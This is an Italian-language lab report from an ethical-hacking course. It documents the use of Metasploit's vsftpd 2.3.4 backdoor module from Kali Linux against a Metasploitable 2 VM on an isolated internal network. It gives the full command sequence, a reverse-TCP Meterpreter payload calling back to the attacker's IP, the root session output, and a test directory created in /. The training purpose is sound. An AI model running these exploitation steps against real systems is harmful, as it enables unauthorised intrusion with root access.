

RELAZIONE LABORATORIO CYBER SECURITY & ETHICAL HACKING

Esercizio: Sfruttamento vulnerabilità vsftpd con Metasploit

Obiettivo del laboratorio

L'obiettivo del laboratorio è stato configurare un ambiente virtuale di penetration testing composto da una macchina attaccante Kali Linux e una macchina vulnerabile Metasploitable 2, al fine di sfruttare la vulnerabilità del servizio FTP vsftpd tramite Metasploit, ottenere una sessione Meterpreter e verificare la possibilità di modificare il filesystem della macchina target.

Ambiente di laboratorio

Macchina attaccante

- Sistema operativo: Kali Linux
- Indirizzo IP: 192.168.1.148

Macchina target

- Sistema operativo: Metasploitable 2
- Indirizzo IP: 192.168.1.149

Configurazione rete

Entrambe le macchine virtuali sono state configurate in VirtualBox utilizzando una rete interna denominata:

LABMITM

È stata inoltre creata un'istanza delle VM con il nome:

Rete interna LABMITM

Verifica configurazione rete

La prima fase del laboratorio è consistita nella verifica della corretta configurazione IP della macchina Metasploitable 2.

```

0 up
[sudo] password for msfadmin:
Sorry, try again.
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:73:1a:be
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe73:1abe/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:28 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4456 (4.3 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:101 errors:0 dropped:0 overruns:0 frame:0
          TX packets:101 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23573 (23.0 KB)  TX bytes:23573 (23.0 KB)

msfadmin@metasploitable:~$

```

Successivamente è stata configurata la macchina Kali Linux sulla stessa subnet della macchina target, verificando la connettività tramite comando ping.

```

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:8a:35:d2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.148/24 brd 192.168.1.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe8a:35d2/64 scope link proto kernel_ll
        valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=3.68 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.53 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=1.18 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=2.98 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=64 time=2.04 ms
64 bytes from 192.168.1.149: icmp_seq=6 ttl=64 time=1.59 ms
^C
— 192.168.1.149 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5008ms
rtt min/avg/max/mdev = 1.178/2.165/3.680/0.882 ms

```

Avvio di Metasploit

È stata avviata la console Metasploit tramite il comando:

```
msfconsole
```



```

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):



| Name           | Current Setting | Required | Description                                                                                                                                                                                                            |
|----------------|-----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| FETCH_COMMAND  | CURL            | yes      | Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)                                                                                                                                                      |
| FETCH_DELETE   | false           | yes      | Attempt to delete the binary after execution                                                                                                                                                                           |
| FETCH_FILELESS | none            | yes      | Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell) |
| FETCH_SRVHOST  |                 | no       | Local IP to use for serving payload                                                                                                                                                                                    |
| FETCH_SRVPORT  | 8080            | yes      | Local port to use for serving payload                                                                                                                                                                                  |
| FETCH_URIPATH  |                 | no       | Local URI to use for serving payload                                                                                                                                                                                   |
| LHOST          |                 | yes      | The listen address (an interface may be specified)                                                                                                                                                                     |
| LPORT          | 4444            | yes      | The listen port                                                                                                                                                                                                        |



When FETCH_COMMAND is one of CURL,GET,WGET:



| Name       | Current Setting | Required | Description                                                                            |
|------------|-----------------|----------|----------------------------------------------------------------------------------------|
| FETCH_PIPE | false           | yes      | Host both the binary payload and the command so it can be piped directly to the shell. |



When FETCH_FILELESS is none:



| Name               | Current Setting | Required | Description                                                                         |
|--------------------|-----------------|----------|-------------------------------------------------------------------------------------|
| FETCH_FILENAME     | yCSwRSB         | no       | Name to use on remote system when storing payload; cannot contain spaces or slashes |
| FETCH_WRITABLE_DIR | ./              | yes      | Remote writable dir to store payload; cannot contain spaces                         |



Exploit target:



| Id | Name               |
|----|--------------------|
| 0  | Linux/Unix Command |



View the full module info with the info, or info -d command.
msf exploit(unix/ftp/vsftpd_234_backdoor) >

```

Esecuzione dell'exploit

L'attacco è stato avviato tramite il comando:

exploit

Durante la prima esecuzione è stato necessario configurare anche il parametro LHOST con l'indirizzo IP della macchina Kali Linux:

set LHOST 192.168.1.148

Dopo la configurazione del payload, l'exploit è stato eseguito correttamente e Metasploit ha aperto una sessione Meterpreter verso la macchina target.

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.148
LHOST => 192.168.1.148
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.1.148:4444
[*] 192.168.1.149:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.1.148:4444
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open. Trying ...
[*] 192.168.1.149:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.1.148:4444 -> 192.168.1.149:51994) at 2026-05-18 09:09:20 -0400
[*] 192.168.1.149:21 - The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?
[*] 192.168.1.149:21 - Exploit aborted due to failure: none: Could not connect to backdoor
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) >

```

Accesso alla sessione Meterpreter

È stata visualizzata la sessione attiva tramite il comando:

sessions

Successivamente si è effettuato l'accesso alla sessione Meterpreter utilizzando:

sessions -i 1

La shell Meterpreter ha consentito il controllo remoto della macchina compromessa.

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions
Active sessions

```

Id	Name	Type	Information	Connection
1		meterpreter	x86/linux root @ metasploitable.localdomain	192.168.1.148:4444 -> 192.168.1.149:51994 (192.168.1.149)

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >

```

Modifica del filesystem root

Per dimostrare l'effettiva compromissione della macchina target e la possibilità di modificare il filesystem con privilegi elevati, è stata creata la directory:

/test_metasploit

tramite il comando:

mkdir /test_metasploit

Successivamente è stata verificata la presenza della directory nella root del filesystem tramite:

ls /

```

meterpreter > mkdir /test_metasploit
Creating directory: /test_metasploit
meterpreter > ls
Listing: /

```

Mode	Size	Type	Last modified	Name
100700/rwx	1188612	fil	2026-05-18 09:09:17 -0400	CdJDAfKfIlev
040755/rwxr-xr-x	4096	dir	2012-05-13 23:35:33 -0400	bin
040755/rwxr-xr-x	1024	dir	2012-05-13 23:36:28 -0400	boot
040755/rwxr-xr-x	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040755/rwxr-xr-x	13540	dir	2026-05-18 09:00:12 -0400	dev
040755/rwxr-xr-x	4096	dir	2026-05-18 08:37:04 -0400	etc
040755/rwxr-xr-x	4096	dir	2010-04-16 02:16:02 -0400	home
040755/rwxr-xr-x	4096	dir	2010-03-16 18:57:40 -0400	initrd
100644/rw-r--r--	7929183	fil	2012-05-13 23:35:56 -0400	initrd.img
040755/rwxr-xr-x	4096	dir	2012-05-13 23:35:22 -0400	lib
040700/rwx	16384	dir	2010-03-16 18:55:15 -0400	lost+found
040755/rwxr-xr-x	4096	dir	2010-03-16 18:55:52 -0400	media
040755/rwxr-xr-x	4096	dir	2010-04-28 16:16:56 -0400	mnt
100600/rw	31777	fil	2026-05-18 08:37:04 -0400	nohup.out
040755/rwxr-xr-x	4096	dir	2010-03-16 18:57:39 -0400	opt
040555/r-xr-xr-x	0	dir	2026-05-18 08:36:49 -0400	proc
040755/rwxr-xr-x	4096	dir	2026-05-18 08:37:05 -0400	root
040755/rwxr-xr-x	4096	dir	2012-05-13 21:54:53 -0400	sbin
040755/rwxr-xr-x	4096	dir	2010-03-16 18:57:38 -0400	srv
040755/rwxr-xr-x	0	dir	2026-05-18 08:36:49 -0400	sys
040700/rwx	4096	dir	2026-05-18 09:14:53 -0400	test_metasploit
041777/rwxrwxrwx	4096	dir	2026-05-18 08:37:09 -0400	tmp
040755/rwxr-xr-x	4096	dir	2010-04-28 00:06:37 -0400	usr
040755/rwxr-xr-x	4096	dir	2010-03-17 10:08:23 -0400	var
100644/rw-r--r--	1987288	fil	2008-04-10 12:55:41 -0400	vmlinuz

```

meterpreter >

```

Conclusioni

Il laboratorio è stato completato con successo.

L'attività ha permesso di:

- configurare un ambiente di penetration testing virtuale;
- verificare la connettività tra le macchine;
- utilizzare Metasploit per sfruttare una vulnerabilità reale;
- ottenere una sessione Meterpreter sulla macchina target;
- dimostrare la compromissione del sistema attraverso la modifica del filesystem root.

L'esercizio ha inoltre evidenziato l'importanza della sicurezza dei servizi vulnerabili e delle corrette configurazioni di rete nei sistemi informatici.